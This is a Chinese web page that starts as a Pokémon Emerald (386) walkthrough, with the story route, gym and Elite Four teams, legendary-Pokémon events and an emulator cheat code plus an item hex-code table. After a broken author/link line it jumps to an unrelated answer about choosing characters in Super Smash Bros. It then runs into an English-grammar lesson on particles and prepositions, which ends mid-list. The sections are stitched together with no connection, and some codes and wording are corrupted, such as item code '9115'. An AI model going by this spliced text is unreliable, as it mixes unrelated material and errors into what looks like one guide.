口袋妖怪绿宝石386图文攻略

口袋妖怪绿宝石386图文攻略,第1张

选择男/女主角,你的对手将是跟你性别相反的人物。给主角起好名字后就可以进入芳园地区啦。
首先,你会出现在天元镇的一辆小货车里。下车后,妈妈让你上楼去调整时钟。调好后从旁边的电脑里取出伤药,之后下楼。妈妈叫你过来看电视,说你老爸上电视了。可是等你走到电视机前,节目却结束了。接着,妈妈说博士就在这儿,让你去找他。来到研究所,博士不在。再去自己家隔壁的房间,先和对手的母亲寒酸一番,这着上楼后调查一个精灵球,你的对手就会出现。对话后走出房子,往上离开天元镇时,发现博士正被一只针鼠追赶,他让你在旁边的背包里选择一只PM参加战斗,赶跑针鼠。
NO001 草蜥蜴 草系
NO004 小火鸡 火系
NO006 小水狗 水系
(注:对手会选择在属性上克制你的精灵。)
赶跑针鼠后,回到研究所,博士会把你选的这只精灵送给你,并且要你去103号道路找他的孩子,也就是你的对手。穿过101号道路就是道吉镇了,在右边的屋子里有个大婶会送你伤药。道吉镇上方是103号道路,在那里击败对手后,回到天元镇的研究所,博士会送你图鉴,对手也会给你5个精灵球。离开研究所,妈妈还会送你跑步鞋,之后就可以在前进的时候按住B键以2倍的速度跑步前进了。
穿过102号道路来到天元市,先去上方的训练馆。馆主是你的爸爸,对话的时候会出现一个叫道夫的绿头发男孩,帮他抓完感知兽后,爸爸会告诉你,让你收集4枚徽章后再来这里挑战。离开天元市,在104号道路发现一间无人的屋子,先不用理他,继续前进。104号道路的上方是天元森林。在前进的途中会遇到天力公司的一名职员,他被水之团的一名小兵拦截了。击败小兵后会获得一个超级球。走出森林,还是104号道路,在这里的一间屋子里可取得肥波鲸喷壶。继续前进,抵达金水市。
以下是金水市训练馆的资料:
岩石系训练馆
NO074 小拳石 12级
NO074 小拳石 12级
NO299 磁石怪 15级
走出训练馆,会遇到刚才的职员与小兵。上前对话后往右走到116号道路。在最右边有条隧道,洞口有个老头说他的小海鸥被水之团的人抢走了。进去后会看到刚才的小兵和小海鸥,击败他后会得到一个超级球,把小海鸥还给老头后就可以回金水市了。找到刚才的职员,他会带你到天力公司找他的BOSS,BOSS会送你一个导航机,还让你给一个正在山木镇、叫代后的人送信。之后在金水市下方会遇到对手,他会向你挑战。
回到天元森林下面的无人小屋,跟刚才的老头对话,他会送你到山木镇。
以下是山木镇训练馆的资料:
格斗系训练馆
NO066 腕力 16级
NO307 阿萨那恩 16级
NO296 拳击兔 19级
挑战完毕后往西北走,有个山洞,进去后跟里面的矿工对话可得到秘传机05闪光。山洞里需要使用闪光,在深处即可找到代后,把信给他后会得到招式机47钢翼,之后如果回到天力公司找BOSS还会得到学习装置。再去找那个老头,他会送你去卡依市。
刚到达卡依市,会发现在水族馆门前有许多水之团的人。在下方的造船厂二楼跟一名老伯对话后,就可以进入水族馆了。在二楼击败两名小兵后即可离开卡依市。
在110号道路会遇到对手,以下是对手的资料:
小海鸥
无壳蜗牛
草蜥蜴 20级
击败他后可获得探宝仪。继续前进可到达银叶市。在训练馆门前会遇到道夫,跟他对战后才可以进入训练馆。
以下是道夫的资料:
感知兽 16级
以下是银叶市训练馆的资料:
电系训练馆
NO100 雷电球 20级
NO309 疾电狗 20级
NO082 三合一磁怪 22级
NO310 电气狗 24级
在精灵中心右边的屋子里可获得一辆自行车,有快速自行车和跳跃自行车两种,分别有不同的功能,以后可随时来换车。在右下角的屋子里可获得秘传机06碎岩。往左走是117号道路,这里有饲养屋,可放精灵到这里生蛋。继续前进就到西达镇了。
在西达镇的上方有条隧道,把路上的岩石用碎岩劈掉后可获得秘传机04怪力。回到银叶市,往上走来到111号道路,这里有竞速塔,上方是沙漠地带,暂时还不能进去。往右走,在112号道路那里有一条火之捷径,走过去后发现已经穿过了沙漠地带。继续前进,穿过113号道路后来到哈吉镇。
哈吉镇的左边是114号道路,继续前进会到达流星瀑布。在流星瀑布里面会遇到水之团和熔岩团的人,对话后得知他们正在争夺一颗化石。之后回到112号道路,在火之捷径的旁边有缆车,乘坐缆车即可到达凹凸山的山顶。击败熔岩团的首领后可取得化石,之后可会哈吉镇把化石交给之前在流星瀑布里的那名研究员。
以下是熔岩团首领的资料:
恶啸狗 24级
火山骆驼 24级
超音蝠 24级
下山后可来到飞音镇。
以下是飞音镇训练馆的资料:
火系训练馆
NO218 无壳蜗牛 24级
NO322 沙漠骆驼 24级
NO323 火山骆驼 26级
NO324 火山乌龟 29级
走出训练馆会遇到对手,他会给你一个躲避沙尘暴的道具,以后就可以去沙漠了。(注:在沙漠里有一座时有时无的虚幻塔,在里面可捡到一块化石。)现在已经收集够4枚徽章了,回到天元市,向爸爸发出挑战。
以下是天元市训练馆的资料:
普通系训练馆
NO327 圈圈兔 27级
NO264 大针鼠 29级
NO288 狂暴猴 27级
NO289 大猩猩 31级
打败爸爸后,道夫的爸爸会出现,并送你秘传机03冲浪。在这同时,之前开船的那位老头也会回到家里。去银叶市,在右边使用冲浪来到118号道路,在这里会遇到代后。往上走是119号道路,这里有高草,只能走路前进。在119号道路的最上方,有一间气象台,里面被水之团占领了。
击败二楼的Boss后,气象台所长会送你一只天气小子。
以下是水之团小头目的资料:
三色鲨鱼 28级
恶啸狗 28级
出气象台,过桥后会遇到对手,以下是对手的资料:
无壳蜗牛 29级
荷叶童子 29级
草蜥蜴 31级
打倒他后会得到秘传机02飞天。继续前进来到日川市。日川市的训练馆门前不知有什么东西挡住,无法进去,只好继续赶路。
在120号道路的桥上会再次遇到代后,他告诉你那种透明的东西是隐身龙变的,并给你一瓶可令隐身龙显身的喷雾剂,让你击败前面的隐身龙(30级)。回到日川市,对训练馆门前的隐身龙使用喷雾剂即可进去。
以下是日川市训练馆的资料:
飞行系训练馆
NO333 彩云雀 29级
NO357 热带雷龙 29级
NO279 海鸥 30级
NO227 钢鸟 31级
NO334 大云雀 33级
继续前进,在121号道路会遇到熔岩团的人,来到阿田市后发现城市已经被水之团占领。在上方的百货大楼门前会看到对手,在这里可与对手进行联盟比赛前的最后一次比赛,以下是对手的资料:
香蕉叶龙 31级
无壳蜗牛 32级
海鸥 32级
草蜥蜴 34级
打败他后,他就飞回家去了。在阿田市最右边,发现入海口被肥波鲸封锁,从水之团的小兵口中得知熔岩团大军压至落日山。在121号道路使用冲浪来到122号水路,水路中间的小岛既是落日山。上山打败熔岩团的人吧。
回阿田市通过小道消息打听到在凹凸山异常现象,立即飞往飞音镇,坐缆车上山。上到山顶后往下走,会有一阵地震,之后在山腰上会出现一个山洞,里面就是熔岩团的秘密基地。在深处遇到熔岩团首领,古拉顿也在那里。对话后要与首领对战,以下是熔岩团首领的资料:
恶啸狗 37级
黑蝙蝠 38级
火山骆驼 39级
对话后古拉顿逃跑,熔岩团首领也离开。
之后飞到卡依市,在上方的船厂里发现潜水艇被水之团盗走。飞回阿田市,在右上方的水域里可进入水之团的秘密基地,在深处发现水之团的首领已坐着潜水艇逃走。另外,在这个基地里还可捡到一个大师球。离开秘密基地,往右穿过124、125号水路,即可来到道谷市。
以下是道谷市训练馆的资料:
超能力训练馆(2 VS 2模式)
NO278 天然鸟 41级 and NO344 三合一土偶 41级
NO337 月神石 42级 and NO338 太阳神石 42级
在道谷市右边有一所研究所,里面被熔岩团占领。来到二楼,发现代后正被一个小头目和首领缠住,上前便可与代后组队作战,每人可用3只精灵。
以下是熔岩组资料:
火山骆驼 36级 and 恶啸狗 42级
火山骆驼 44级 and 大嘴蝠 40级
黑蝙蝠 43级 and 恶啸狗 38级
以下是代后的资料:
NO375 双臂恩古 42级
NO227 钢鸟 43级
NO306 钢甲暴龙 44级
打败熔岩团的人后,去道谷市左上角的屋子,代后会送你秘传机08潜水。离开道谷市,在127号水路使用潜水,在水中一直往下走,进入一个洞窟,发现潜水艇就在这里。上岸后击败路上水之团的人,来到深处,遇到水之团首领,还有海皇牙。{海底洞窟的石头过法,先推第一层中间的向上,左右的分别推向左右两边,之后第二层的中间推左,再把中间的推上,左右的分别推向左右两边,再把第五层第二和第四分别向上推,中间的推左,完成!!!}对话后要与水之团首领对战,以下是水之团首领的资料:
恶啸狗 41级
黑蝙蝠 41级
大鲨鱼 43级
回话后海皇牙溜走,首领也离开。离开洞窟,上岸后发现天气大变,还会遇到两个团的首领与代后。
游到126号道路,使用潜水,在中间上浮,即可到达双鹿市。古拉顿和海皇牙正在这里战斗。与代后对话,他会让你进入觉醒寺。在觉醒寺深处找到Wallace,对话后他让你去天柱找他。离开双鹿市,游到131号水路,在水路的中间往上拐即可抵达天柱。在天柱顶层遇到天空之龙后,即可飞会双鹿市。
回到双鹿市,等天空之龙化解了灾难后,可获得秘传机07登瀑,之后可以去打训练馆。
以下寺双鹿市训练馆的资料:
水系训练馆
NO370 心形鱼 41级
NO364 古拉海象 43级
NO340 地震鱼 41级
NO342 钢钳螃蟹 43级
NO230 海马龙 46级
在128号水路使用登瀑即可抵达精灵联盟前面的冠军之路,在这里需要使用秘传机03、04、05、06、07才能过去。在冠军之路1层会遇到道夫,以下是道夫的资料:
大云雀 44级
超能女皇 45级
芭蕾玫瑰 44级
圆耳猫 43级
三合一磁怪 41级
闯过冠军之路后就抵达精灵联盟了。门卫验证你拥有所有徽章后即可为你打开胜利的道路。
以下是四大天王and冠军的资料
天王1-Sidney,邪恶系天王
NO262 恶啸狗 46级
NO359 灾兽 49级
NO342 钢钳螃蟹 48级
NO275 天木狗 48级
NO332 塔斯仙人掌 46级
天王2-Pheobe,鬼魂系天王
NO356 黑乃伊 48级
NO354失眠鬼 49级
NO354 失眠鬼 49级
NO302 地狱超人 50级
NO356 黑乃伊 51级
天王3-Glacia,冰系天王
NO364 古拉海象 50级
NO364 古拉海象 52级
NO362 巨头冰怪 50级
NO362 巨头冰怪 52级
NO365 海象牙王 53级
天王4-Drake,龙系天王
NO372 龙龙贝 52级
NO330 蜻蜓龙 53级
NO230 海马龙 53级
NO334 大云雀 54级
NO373 血翼飞龙 55级
联盟冠军-Wallace
NO321 巨鲸 57级
NO350 美丽龙王 58级
NO073 毒刺水母 55级
NO272 荷叶鸭 56级
NO130 暴鲤龙 56级
NO340 地震鱼 56级
打败冠军后,你就成为了新一届的联盟冠军,之后Wallace会带你进入冠军殿堂,记录你的精灵。之后就通关了。
通关后,你会回到家里。爸爸会给你一张船票,以后就可以去卡依市或者阿田市坐船了。之后看电视,上面说有不明精灵在芳园地区飞行,妈妈问你是蓝水督还是红水督,你选择哪只,以后就会遇到哪只水督。走出屋子,博士会帮你把图鉴升级为386版,之后在芳园地区就可以抓到金银版的精灵了。
坐船来到战斗乐园,这里是以前战斗塔的所在地,现已改建为更大的对战地区……这里有7种对战设施,暂时不一一作介绍。在乐园的最右边,会看到一个奇怪的树,对着它使用肥波鲸喷壶,就会出现骗人树,40级。收服骗人树后,在它挡住的地方使用冲浪,一直往左走可进入一个洞窟,在里面有大量的画画犬。
暂时离开战斗乐园,在119号道路的气象台所长那里得知,某号道路(随机变化)的天气有异常状态,之后立即到那条道路。如果那里是出大太阳,则要寻找一个山洞,古拉顿在里面;如果那里下大雨,则要寻找一小块可以潜水的水域,里面呆着海皇牙。两只神兽各70级。
去天柱,2楼需要用快速自行车冲过去(3格加速)。在楼顶有70级的天空之龙。
看过电视后,在芳园地区的某条道路会随机出现红/蓝水督,40级。
三神柱事件:
先去134路,和RS里一样,到一块在急流里可以潜水的地方,到洞底,阅读墙上的文字,再使用挖洞(DIG),门会打开。进门,阅读文字,把321号放在第一位,把369号放在最后再读一遍,会发生地震,所有神柱的门会打开。
1岩(377):
他的洞在沙漠南边,到了以后,阅读墙上的文字,然后向左走两步,向下走两步,使用碎石(ROCK SMASH)门会开,等级是40
2冰(378):
他的洞在105路上,到了那里后,阅读文字,然后顺时针围绕洞跑一圈(一定要靠墙)跑完后,门就会开,40级
3钢(379):
最后的洞在120路上,找到后,读墙上的文字,走到房间中间,使用闪光门就会开,40级
当你收集了202种PM时,博士会给你以下三只精灵的其中一只:
NO153 小花兽
NO155 火岚兽
NO158 小鳄鱼
绿宝石金手指
[编辑本段]
1、道具金手指
只能通过修改在商店里购买的物品来获得道具,修改方法如下:
在道吉镇的商店买物品,选好购买数量后,等服务员问你是否要买下道具时,不要急着按A,先输入下面这条金手指:
03005B72:XX
XX是物品的代码(见下表),输入后买下道具,之后删除金手指就可以了。
道具列表

0001 大师球
0002 超力怪兽球
0003 超级球(比怪兽球更厉害些)
0004 怪兽球(普通的球)
0005 砂狐球(砂狐乐园专用球)
0006 触网球(容易抓水和虫类的怪兽)
0007 大布斯球(容易抓海底的怪兽)
0008 尼斯道球(怪兽越弱越容易抓)
0009 利比道球(容易抓抓过的球)
000a 达伊玛球(回合数越长越容易抓)
000b 高基石球(抓到的怪兽变亲密)
000c 布雷密球(珍惜怪兽球)
道具
000d 伤药(体力恢复20)
000e 解毒药(恢复毒状态)
000f 烧伤恢复(恢复烧伤状态)
0010 解冻药(恢复冻状态)
0011 清醒药(恢复沉睡状态)
0012 麻痹恢复(恢复麻痹状态)
0013 恢复药(全恢复体力与所有状态)
0014 慢谈药(体力全恢复)
0015 伤药(体力恢复200)
0016 好伤药(体力恢复50)
0017 万能恢复(全部恢复)
0018 精神片(死亡恢复体力一半)
0019 精神草(死亡全恢复体力)
001a 美味水(恢复体力50)
001b 精神汽水(恢复体力60)
001c 米力液(恢复体力80)
001d 木木奶(恢复体力100)
001e 力量粉(恢复体力50,很苦粉,减底怪兽亲密度)
001f 力量根(恢复体力200,很苦根,减底怪兽亲密度)
0020 万能粉(全恢复状态,非常苦的粉,大大减低与怪兽的亲密度)
0021 复活草(死亡复活,很苦的草)
0022 pp艾依(1种技能值恢复10)
0023 pp力卡(1种技能值全恢复)
0024 ????????(?????)
0025 pp最大(1只怪兽的全部技能值全恢复)
0026 飞音饼(恢复全部异常状态)
0027 蓝玻璃(恢复沉睡状态,可用无限次)
0028 黄玻璃(恢复混乱状态,可用无限次)
0029 红玻璃(恢复颓废状态,可用无限次)
002a 黑玻璃(不遇野生怪兽)
002b 白玻璃(容易遇野生怪兽)
002c 树果汁(恢复体力20)
002d 圣是(死亡恢复全部体力,异常状态恢复)
002e 浅水盐(看看洞用的道具)
002f 浅水贝(看看洞用的道具)
0030 红碎片(换进化石的道具)
0031 蓝碎片(换进化石的道具)
0032 黄碎片(换进化石的道具)
0033 绿碎片(换进化石的道具)
0034—03e ????????(?????)
003f 最大上升(体力基础值提高)
0040 赞美语(攻击基础值提高)
0041 落海夫(防御基础值提高)
0042 因得西(敏捷基础值提高)
0043 立麦森(特攻基础值提高)
0044 奇异甜食(怪兽升1级)
0045 值上升(技能值的最大值上升)
0046 极道山果(德望基础值提高)
0047 值最大(技能值提高到最大)
0048 ?????????(?????)
0049 效果卡(战斗中…能避开对方的攻击,用于装备)
004a 清洗物(战斗中…容易命中要害,用于装备)
004b 布拉斯力量(战斗中…攻击力上升,用于装备)
004c 力道(战斗中…防御力上升,用于装备)
004d 敏捷力(战斗中…敏捷上升,用于装备)
004e 纪念打(战斗中…技能容易命中)
004f 特别上升(战斗中…特攻的威力上升,用于装备)
0050 皮皮木偶(在战斗中逃脱)
0051 小松鼠尾(在战斗中逃脱)
0052—05c ????????(?????)
005d 太阳石(让独特的怪兽进化)
005e 月亮石(让独特的怪兽进化)
005f 火焰石(让独特的怪兽进化)
0060 雷电石(让独特的怪兽进化)
0061 水石(让独特的怪兽进化)
0062 珊瑚石(让独特的怪兽进化)
0063—066 ????????(?????)
0067 小的树果(普通的树果容易成熟)
0068 大的树果(珍贵的树果难成熟)
0069 ????????(?????)
006a 珍珠(美丽的珍珠容易成熟)
006b 大珍珠(很美丽的大珍珠难成熟)
006c 星沙(美丽的红色的沙子)
006d 星星碎片(美丽的红宝石碎片)
006e 金珠(金星)
006f 心灵碎片(可以恢复忘却的技能)
0070—078 ????????(?????)
0079 彩色邮件(针鼠模样的信件)
007a 哈伯邮件(海鸥模样的信件)
007b 闪光邮件(皮卡丘模样的信件)
007c 机械邮件(小磁怪模样的信件)
007d 鸟烟邮件(食叶兽模样的信件)
007e 十字邮件(皮皮鲸模样的信件)
007f 珍贵邮件(有持有怪兽模样的信件)
0080 阴影邮件(钻墙怪模样的信件)
0081 热带邮件(美丽花模样的信件)
0082 花边邮件(有持有怪兽模样的信件)
0083 神奇邮件(豪华的信件)
0084 怀旧邮件(3只怪兽的信件)
战斗用道具
00b3 光粉(降低对手命中率)
00b4 白色海石花(下降能力复原)
00b5 竞争背心(携带后战斗只速度变为原来的1/2,战斗结束后得到的努力值翻倍)
00b6 学习装置(持有的怪兽得到经验值)
00b7 老师指甲(偶尔能先发出攻击)
00b8 安闲玲(持有的怪兽变亲密)
00b9 精神海石花(持有的怪兽恢复颓废状态)
00ba 守日器(攻击的威力提高)
00bb 王者之证(有时能让对手沉睡)
00bc 银粉(虫类技能的威力上升)
00bd 守卫饭(持有的怪兽参战能得到2倍金钱)
00be 清符(难以与野生怪兽)
00bf 心珠(特攻和德望上升,限于雄奇怪和木皮怪)
00c0 进化牙(特攻上升パ—ルル<柏鲁蚌>携带后特攻提升至2倍,携带后通讯进化道具)
00c1 进化鳞片(德望上升パ—ルル<柏鲁蚌>携带后特防提升至2倍,携带后通讯进化道具)
00c2 烟珠(遇到野生的怪兽能逃脱)
00c3 不变石(持有的怪兽不会进化)
00c4 精神器(偶尔能防御)
00c5 幸福怪兽蛋(怪兽经验值更容易上升)
00c6 焦点镜(容易命中要害)
00c7 杯衣(钢类技能威力上升)
00c8 余物(体力能在战斗间慢慢恢复)
00c9 龙鳞(飞龙类怪兽持有的奇异鳞片)
00ca 电珠(特攻上升,限于皮卡丘)
00cb 软沙(地面类技能的威力上升)
00cc 坚硬石头(岩石类技能的威力上升)
00cd 奇迹种(草类技能的威力上升)
00ce 黑色眼镜(恶类技能的威力上升)
00cf 黑带(格斗类技能的威力上升)
00d0 磁铁(电类技能的威力上升)
00d1 神秘水珠(水类技能的威力上升)
00d2 尖嘴(飞行类技能的威力上升)
00d3 毒针(毒类技能的威力上升)
00d4 不化冰(冰冻技能的威力上升)
00d5 诅咒符(幽灵类技能的威力上升)
00d6 银勺(超能技能的威力上升)
00d7 木炭(火焰类技能的威力上升)
00d8 龙牙(飞龙类技能的威力上升)
00d9 西库头巾(正常类技能的威力上升)
00da 上升叶片(奇异箱子,收集用)
00db 空贝(对敌人损伤时体力会恢复)
00dc 潮物(水属性攻击技能威力提升105倍,水属性攻击技能对自身伤害也会被除以105;マリル(水鼠)、マリルリ(大水鼠)携带后生蛋得ルリリ(水鼠宝宝)
00dd 气物(对方技能命中率下降至095倍,ソーナンス(果然翁)携带后生蛋得ソーナノ(快乐兽)
00de 吉利蛋钳(容易命中要害,限于吉利蛋)
00df 木物(防御力上升,限于百变怪)
全部招式机机器
招式机器01:0121
招式机器02:0122
招式机器03:0123
招式机器04:0124
招式机器05:0125
招式机器06:0126
招式机器07:0127
招式机器08:0128
招式机器09:0129
招式机器10:012A
招式机器11:012B
招式机器12:012C
招式机器13:012D
招式机器14:012E
招式机器15:012F
招式机器16:0130
招式机器17:0131
招式机器18:0132
招式机器19:0133
招式机器20:0134
招式机器21:0135
招式机器22:0136
招式机器23:0137
招式机器24:0138
招式机器25:0139
招式机器26:013A
招式机器27:013B
招式机器28:013C
招式机器29:013D
招式机器30:013E
招式机器31:013F
招式机器32:0140
招式机器33:0141
招式机器34:0142
招式机器35:0143
招式机器36:0144
招式机器37:0145
招式机器38:0146
招式机器39:0147
招式机器40:0148
招式机器41:0149
招式机器42:014A
招式机器43:014B
招式机器44:014C
招式机器45:014D
招式机器46:014E
招式机器47:014F
招式机器48:0150
招式机器49:0151
招式机器50:0152
0153 秘传机01
0154 秘传机02
0155 秘传机03
0156 秘传机04
0157 秘传机05
0158 秘传机06
0159 秘传机07
015A 秘传机08
0085 树果01
0086 树果02
0087 树果03
0088 树果04
0089 树果05
008A 树果06
008B 树果07
008C 树果08
008D 树果09
008E 树果10
008F 树果11
0090 树果12
0091 树果13
0092 树果14
0093 树果15
0094 树果16
0095 树果17
0096 树果18
0097 树果19
0098 树果20
0099 树果21
009A 树果22
009B 树果23
009C 树果24
009D 树果25
009E 树果26
009F 树果27
00A0 树果28
00A1 树果29
00A2 树果30
00A3 树果31
00A4 树果32
00A5 树果33
00A6 树果34
00A7 树果35
00A8 树果36
00A9 树果37
00AA 树果38
00AB 树果39
00AC 树果40
00AD 树果41
00AE 树果42
00AF 树果43
00FE 红手巾
00FF 篮手巾
0100 粉手巾
0101 绿手巾
0102 黄手巾
0103 风马自行车
0104 硬币盒子
0105 探宝器
0106 普通钓竿
0107 好钓竿
0108 超级钓竿
0109 船票
010A 比赛通行证
010C 皮皮鲸喷壶
010D 天力行李
010E 背包
010F 地下钥匙
0110 沙道自行车
0111 怪兽盒
0112 代后的信
0113 梦幻票
0114 红色玉石
9115 蓝色玉石
0116 探知器
0117 沙道眼睛
0118 陨石
0119 1室钥匙
011A 2室钥匙
011B 4室钥匙
011C 6室钥匙
011D 仓库钥匙
011E 木根化石
011F 指甲化石
0120 デボァスコ-ド
015D 邮包
015E 怪兽笛子
015F 火焰道馆钥匙
0160 自行车兑换卷
0161 假牙
0162 琥珀
0163 黄金室大楼钥匙
0164 火箭队钥匙
0165 菊石兽化石
0166 化石盔化石
0167 照妖眼镜
0168 自行车
0169 城市地图
016A 声音探测器?
016B 电话机?
016C 技能盒子
016D 树果袋子
016E 电视机
016F 1、2、3岛道船票
0170 彩虹船票?
0171 茶
0172 紫色的票?
0173 水底的票?
0174 收集瓶?(深蓝市老头家得到换东西的)

作者:春神
链接:>在任天堂明星大乱斗电脑游戏中,选择角色的方法如下:
1 在主界面中,选择“Smash”选项进入游戏。
2 在游戏开始前,您需要选择一个游戏模式。选择“Classic Mode”或“Adventure Mode”等单人模式,或选择“Versus Mode”等多人模式。
3 在选择角色界面,您可以使用游戏手柄或键盘来选择您想要的角色。在左侧的角色列表中,您可以看到所有可用的角色。使用方向键或摇杆来选择您想要的角色,然后按下“A”键或“Enter”键来确认选择。
4 如果您想要使用隐藏角色,您需要完成一些特定的游戏任务来解锁它们。在游戏中,您可以通过完成特定的挑战或达成特定的条件来解锁隐藏角色。
总之,在任天堂明星大乱斗电脑游戏中,选择角色是非常简单的。只需进入游戏,选择您想要的游戏模式,然后在选择角色界面中选择您想要的角色即可。如果您想要使用隐藏角色,您需要完成一些特定的任务来解锁它们。

语言中一种形似介词的副词。小品词是一类比较特殊的词,它既有副词的某些特征,又具有介词的词形。它往往与前面的动词形成修饰和补充说明的语义关系,本身不能单独充当句子成分;它形似介词,又没有实体意义,却不能独自带宾语,与动词构成的是只有一个论元的单位述谓结构。
要怎样区别这两种词呢?
1) 不及物动词与副词小品词够成的短语动词一般比较容易区分,这类短语后不跟宾语,在阅读时相当于不及物动词,如:

Please draw up a chair and sit down 请拉把椅子坐下来。

You can go ahead to the station and I'll see you there later 你可以先到车站去,我随后再到那里找你。
2) “及物动词 + 小品词”够成的短语动词和“不及物动词 + 介词”够成的短语动词较难区分,语感上它们都可以看作及物动词,后跟宾语。(但是我们在阅读时,并不需要去区分它们,我们需要记住的是该短语动词的用法。)
不及物动词 + 介词:

The chalk fell off the desk and broke 粉笔从书桌上掉下来摔断了。 (注:介词 off 不能移位到宾语 the desk 之后。)
及物动词 + 副词:

Britain threatened to break off diplomatic relations 英国威胁要中止外交关系。

(这种情况下,副词通常可以移到宾语之后,所以也可以说 Britain threatened to break diplomatic relations off)
不少学生用单词卡或单词表之类的资料记住了很多短语,可是在真正阅读时,却有分不清结构,使不上劲的感觉。其中一个原因,就是在记短语动词时,不能单单记住其意思,还需要记住其结构上的用法。要记住哪些短语动词要看作不及物动词,哪些短语动词要看作及物动词。又比如,当学习 put off 这个短语时,需要清楚它有两种变化,一种是 put off sth, 另一种是 put sth off。而在记短语 look after sth 时,要清楚它只能是 look after sth, 而不能是 look sth after。只有熟悉了这些短语在结构上的用法,阅读时才能在第一时间作出正确的反应。

另外需要注意以下几点:

1) 一些词只能作介词,而不能作小品词,如: against, at, for, into, among, with等。

Please look at this box here 请看这里的这个盒子。

I was too tired to care for anything but bed 我太累了,只想上床休息。
2) 单词 out 单独用时只作小品词,如果要用作介词只能用 out of

He picked out the ripest peach

He picked the ripest peach out 他把熟得最透的桃子挑了出来。

Fish cannot survive for a long time out of water 鱼离开水后就活不久了。

He got thrown out of the restaurant 他被赶出了饭馆。
3) 注意有一些词,既可以作小品词与不及物动词搭配,也可以作介词与同一个不及物动词搭配,如:

We shouldn't let any of our students leg behind 我们不能让任何学生落后。

They don't want to leg behind others 他们不希望落在别人后面。
Shall we get off now 我们现在就出发吗?

I'll get off the bus at the terminal 我会在终点站下车。
4) 注意有一些小品词,既可以与不及物动词搭配,又可以与同一个动词的及物动词搭配,如:

The server has broken down last night 昨晚服务器瘫痪了。

This innovation would help to break down the classes (= break the classes down)这种改革将有助于打破等级制度。

Firemen had to break the door down to reach the people trapped inside 消防人员须破门而入, 才能抢救困在屋里的人。
The stock market is going up even though the economy has not picked up yet 虽然经济还没好转,但股市正在上涨。

I'll pick you up tonight 我今晚开车来接你。

介词“支配”着宾语,与名词有关;副词“不支配”宾语,与动词关系比较密切;连词也不支配名词,用于连接词或句子。
I haven't eaten since breakfast

后面接宾语了,是介词

They went to college together in the 1960s and have frequently done business together since

后面没接宾语,是副词

I've earned my own living since I was seven, doing all kinds of jobs

后面接了句子,是连词

接宾语就是介词,不接宾语就是小品词

The children are in the house

The children have just gone in

We drove round

We drove round the city 

常见的可兼作介词和小品词的词

about, above, after, across, along, around,before, behind, below, beneath, beyond, bydown, in, inside, near, off, on, opposite, outside, over, past, round, through, under,underneath, up, without等

只用作介词而不用作小品词的词

against, at, beside, despite, during, except,for, from, into, of, onto, per, till/until, to,towards, upon, via, with等

只用作小品词而不用作介词的词

away, back, backwards, downwards, forwards, out, upwards等

介词和小品词最难辨别的情况

Drink up your milk

后面有名词,我们会认为up是介词

Drink your milk

实际上即便没有这个up,同样也可以接名词,因此这个名词是动词宾语而不是介词宾语,因为这个动词是及物动词,由此可以判断这个up是副词小品词,这种情况可以把小品词放在名词的后面,而介词则不可以:

Drink your milk up

以下情况相同:

She turned off the lights

She turned the lights

She turned the lights off

常用小品词
up

1) 向上(toward or into a higher position)

lift ~ 举起 climb ~ 爬上 come ~ 上升 get ~ 起来 stand ~ 站起来 pick ~ 捡起 draw ~ 升起 grow ~ 长大 hand ~ 拖起 put ~ 举起 send ~ 使上升 rise ~ 升起 look ~ 抬起头 zip ~ 拉上 hold ~ 举起 pile ~ 堆起 dig ~ 挖出 take ~ 拿起 build ~ 树立 set ~ 建立

2) 完成,结束(expressing completeness and finality)

finish ~ 完成 drink ~ 喝干 eat ~ 吃光 burn ~ 烧光 wash ~ 洗净 use ~ 用光 fill ~ 装满 pay ~ 付清 settle ~ 解决 lick ~ 甜净 sum ~ 总结, open ~ 透露 end ~ 结束 let ~ 中止,减少 draw ~ 停止 close ~ 停止,关闭 swallow ~ 吞没 beat ~ 痛打 cover ~ 掩盖 break ~ 结束,分解 wind ~ 结束

3) 离开,消灭(expressing separation and destroy)

break ~ 拆开,驱散cut ~ 切碎 split ~ 分裂 divide ~ 分割 smash ~ 捣毁 blow ~ 炸毁 wither ~ 枯死 tear ~ 撕碎 give ~ 放弃 fold ~ 垮台 dry ~ 枯竭,干涸crack ~ 撞坏 clutter ~ 使散乱 litter ~ 乱丢杂物

4) 增加,变强(to a state of greater activity,force,strength,power and degree

⑴ mount ~ 增加pick ~ 振作,加快pluck ~ 振作 turn ~ 开打,开大,出现 shake ~ 震惊 steam ~ 使发怒 stir ~ 激起,搅起ease ~ 放松 warm ~ 兴奋 speak ~ 大声说 heat ~ 变热 total ~ 加总 tense ~ 紧张 gather ~ 收集 speed ~ 加速 screw ~ 振作 build ~ 增大 show ~ 显现 cheer ~ 振作起来stir ~ 刺激 work ~ 激动,刺激

⑵ 用在带"-en"后缀的动词后(used after the verbs with suffix of -en)

brighten ~ 发亮 fatten ~ 发胖 freshen ~使新鲜 harden ~变硬 sharpen ~ 变快 smarten ~ 变精明strengthen ~ 加强sweeten ~ 变甜 tighten ~ 使紧密 toughen ~ 使强壮soften ~ 变软

5) 变好,改善(as to be better and proper)

bring ~ 抚育 check ~ 核对 clear ~ 清理,晴天clean ~ 整理 do ~ 整理 patch ~ 修理 polish ~ 擦亮,改进light ~ 点亮 tune ~ 调整 tidy ~ 整理 rub ~ 擦亮 train ~ 训练,培养 make ~ 化装,和解,弥补buy ~ 囤积 figure ~ 计算 fix ~ 修理,整理 take ~ 从事

6) 关住,锁紧,固定住(firmly,tightly and closely)

shut ~ 关闭 lock ~ 锁住 tie ~ 栓住 chain ~ 锁住 nail ~ 钉住 fasten ~ 系住 pin ~ 钉住 bind ~ 装订 bar ~ 关住 block ~ 堵塞 choke ~ 堵塞 save ~ 存起来 store ~ 贮藏 stock ~ 储存 cover ~ 掩盖 wrap ~ 包住 lay ~ 储存 hold ~ 延误 keep ~ 坚持

7) 向说话人的方向(to the place where the speaker is)

go ~ run ~ rush ~ drive ~ walk ~ catch ~ swim ~ march ~ come ~

down

1) 向下的位置(to or into a lower position)

cast ~ 扔下 cut ~砍倒 get ~ 下来 hand ~ 传下来 knock ~ 撞倒 lay ~ 放下 let ~ 放下 pour ~ 倾盆而下 pull ~ 拉下 set ~ 放下 sit ~ 坐下 step ~ 走下来 throw ~ 扔下 turn ~ 拆下 take ~ 取下 blow ~ 吹倒 bring ~ 打倒 hang ~ 垂下 sink ~ 沉落 slip ~ 失足 squat ~ 蹲下 swallow ~ 吞下 stoop ~ 伏身 splash ~ 飞溅而下 touch ~ 降落 bend ~ 弯下 bow ~ 鞠躬 kneel ~ 跪下 lie ~ 躺下 strip ~ 脱下

2) 减少(强度,量和体积)(a decrease in intensity,amount,bulk)

